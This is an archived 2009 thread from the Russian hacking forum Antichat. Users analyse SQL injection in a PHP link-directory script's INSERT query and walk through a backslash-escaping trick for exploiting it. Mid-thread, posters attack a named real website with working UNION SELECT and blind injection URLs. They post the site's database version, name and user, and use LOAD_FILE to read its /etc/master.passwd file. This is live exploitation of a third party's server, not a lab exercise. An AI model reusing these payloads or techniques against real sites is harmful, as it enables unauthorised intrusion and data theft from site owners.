ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7601  
Старый 14.06.2009, 01:17
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

PHP код:

if ($do=="add") {

        
$ttitle=mhtml(substr($HTTP_POST_VARS["ttitle"],0,256));
        
$url=mhtml(substr($HTTP_POST_VARS["url"],0,256));
        
$email=mhtml(substr($HTTP_POST_VARS["email"],0,256));
        
$description=mhtml(substr($HTTP_POST_VARS["description"],0,2048));
        
$c1=intval($HTTP_POST_VARS["c1"]);

        
$error="";
        if (
$c1==0$error.="<LI>".$LANG["mustbecat"];
        if (empty(
$email)) $error.="<LI>".$LANG["mustbeemail"];
        if (empty(
$url)) $error.="<LI>".$LANG["mustbeurl"];
        if (empty(
$ttitle)) $error.="<LI>".$LANG["mustbetitle"];
        if (empty(
$description)) $error.="<LI>".$LANG["mustbedescription"];

        if (empty(
$error)) {
                if (
$cat["mailifnewlink"]=="yes") {
                        
mail($cat["mailifnewlinkto"],$cat["mailifnewlinksubject"],"TITLE: $ttitle\nURL: $url\n");
                        }
                
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
                require(
"template.php");
                if(
$onregister == "on")
                {
                  
$headers "From: $namesender <$emailsender>\n";
                  
mail($email,$subjbefore,html_entity_decode($templbefore,ENT_QUOTES),$headers);
                }
                
$r=mysql_query("SELECT max(lid) FROM main WHERE url='$url'") or die(mysql_error());
                
$cid=@mysql_result($r,0,0);
                print (
"<HTML><HEAD>\n");
                print (
"<META HTTP-EQUIV=refresh CONTENT='0;url=thx.php?id=$cid'>\n");
                print (
"</HEAD></HTML>\n");
                die();
                }
        } 
Скрипт: add.php

Функция: mhtml() // Самописная

PHP код:

function mhtml($t)
{
  
$t=StripSlashes($t);
  
$t=str_replace("'","'",$t);
  
$t=str_replace("\"","&quot;",$t);
  return 
$t;

Функция эта сначала убирает слэши,которые экранируют кавычки(обратные то бишь) и спецсимволы экранируются.Также заменяются символы '\' и ' на хтмл сущности.т.е. бесполезные их варианты при проведении XSS.Ладно.Зато есть инжект в INSERT запросе.

Уязвимые параметры: $email,$url,$ttitle,$description.

Почему я так решил? Проверил на локалхосте:

PHP код:

<?php

$n
=mhtml(substr($_GET["x"],0,256));
echo 
$n;


function 
mhtml($t)
{
  
$t=StripSlashes($t);
  
$t=str_replace("'","'",$t);
  
$t=str_replace("\"","&quot;",$t);
  return 
$t;
}



?>
Или я неправильно накодил,или стр реплейс не работает.Эта функция не заменяет кавычку вообще.На сервере включён magic_quotes_gpc.
 
Ответить с цитированием

  #7602  
Старый 14.06.2009, 01:32
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от Велемир  
Или я неправильно накодил,или стр реплейс не работает.Эта функция не заменяет кавычку вообще.На сервере включён magic_quotes_gpc.
Функция заменяет кавычку на & # 3 9 ;
Если исходить из того кода что ты дал.
 
Ответить с цитированием

  #7603  
Старый 14.06.2009, 01:39
TELO
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123

Репутация: 122
Отправить сообщение для TELO с помощью ICQ
По умолчанию

Здравствуйте, не примите за лапуха...но такую ошибку первый раз вижу
Код:
http://www.poetryclub.com.ua/author.php?id=2933%20union%20select%201%20--
Код HTML:
Database error: next_record called with no query pending. MySQL Error: () Session halted.
поля ордером перебирал
 
Ответить с цитированием

  #7604  
Старый 14.06.2009, 01:45
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от Велемир  
Проверь у себя.Не работает
Загляни в html сорец странички (Вид - Исходный код страницы). Там все будет так как и должно быть.
 
Ответить с цитированием

  #7605  
Старый 14.06.2009, 01:47
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Хз,что за ошибка,но посимвольный работает:

http://www.poetryclub.com.ua/author.php?id=2933+and+ascii(substring((select+ver sion()),1,1))%3E=1/*

Обрати внимание на поле Опублiковано
 
Ответить с цитированием

  #7606  
Старый 14.06.2009, 01:51
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Если кавычка превращается в хтмл сущность оной,пусть инезаметно для меня,то инжект нельзя провести ?
 
Ответить с цитированием

  #7607  
Старый 14.06.2009, 01:53
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

2 TELO
http://www.poetryclub.com.ua/author.php?id=2933+UNION+SELECT+CONCAT(0x3a,versio n(),database(),user())+LIMIT+1,1--

Database Version: 5.0.27
Database name: poetryclub
User name: vobushka@localhost


http://www.poetryclub.com.ua/author.php?id=2933+UNION+SELECT+LOAD_FILE(0x2f6574 632f706173737764)+LIMIT+1,1--

# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh bla bla bla

Последний раз редактировалось Gorev; 14.06.2009 в 01:57..
 
Ответить с цитированием

  #7608  
Старый 14.06.2009, 01:56
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от Велемир  
Если кавычка превращается в хтмл сущность оной,пусть инезаметно для меня,то инжект нельзя провести ?
Если кавчка заменяется html сущностями, то это уже не кавычка и ничего ты ею не сделаешь.

P.S. кстати скрипт бажный.

Слеши как я понял не экранируются, можно их заюзать:

* тут немного не правильно написал, см мой пост ниже.

Код:
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
к примеру:
$url = \
$email = cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email=(select version()), type=0; -- 1

Получиться:

Код:
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='\', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email=(select version()), type=0; -- 1', type=0;") or die(mysql_error());

Последний раз редактировалось Grey; 14.06.2009 в 03:07..
 
Ответить с цитированием

  #7609  
Старый 14.06.2009, 02:36
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Чет я не догнал тему о слешах.Без них никак? Смотрю на твой пример и ничего не понимаю(кроме селект версион()
 
Ответить с цитированием

  #7610  
Старый 14.06.2009, 02:52
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от Велемир  
Чет я не догнал тему о слешах.Без них никак? Смотрю на твой пример и ничего не понимаю(кроме селект версион()
* в этой мессаге я тебе некоторые вещи цветом пометил.

Ну смотри переменная $ttitle - ей присваиваешь значение '\';
Т.е. слеш.

Код:
mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Получается следующее:

Код:
mysql_query("INSERT INTO main SET title='\', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Т.е. он экранирует кавычку идущую после него.
Значит она не будет учавствовать в запросе и будет отображаться как текст, до следующей кавычки (в предыдущем примере я ошибся с $email):

Всё между этими кавычками - будет восприниматься как текст и будет значением колонки url.

Код:
mysql_query("INSERT INTO main SET title='\', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Теперь ты можешь присвоить переменной $description значение и никакие кавычки тебе не помешают.
Предположим значение $description = ', url=0, cat1=0, cat2=0, cat3=0,gin=0, gout=0, moder_vote=0, email={СКЛ инъекция}, type=0; -- '

В запросе будет следующее:

Код:
mysql_query("INSERT INTO main SET title='\', description=', url=0, cat1=0, cat2=0, cat3=0,gin=0, gout=0, moder_vote=0, email={СКЛ инъекция}, type=0; -- ', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
Отбросим лишее (то, что будет за комментировано):

Код:
mysql_query("INSERT INTO main SET title='\', description=', url=0, cat1=0, cat2=0, cat3=0,gin=0, gout=0, moder_vote=0, email={СКЛ инъекция}, type=0; -- ") or die(mysql_error());
Далее объясню тебе как юзать такую инъекцию:

1. Или смотришь на то, что добавилось в поле email (если верить названию - оно где то должно отображаться).
2. Или юзаешь more than 1 row (ищи статью Електа).

P.S. А вообще вот тебе две статьи, милый, иди и изучай:

Атака на WEB. Миссия невыполнима - а там находишь "[ Фрагментированная SQL-inj ]"
more than 1 row

Последний раз редактировалось Grey; 14.06.2009 в 15:14..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ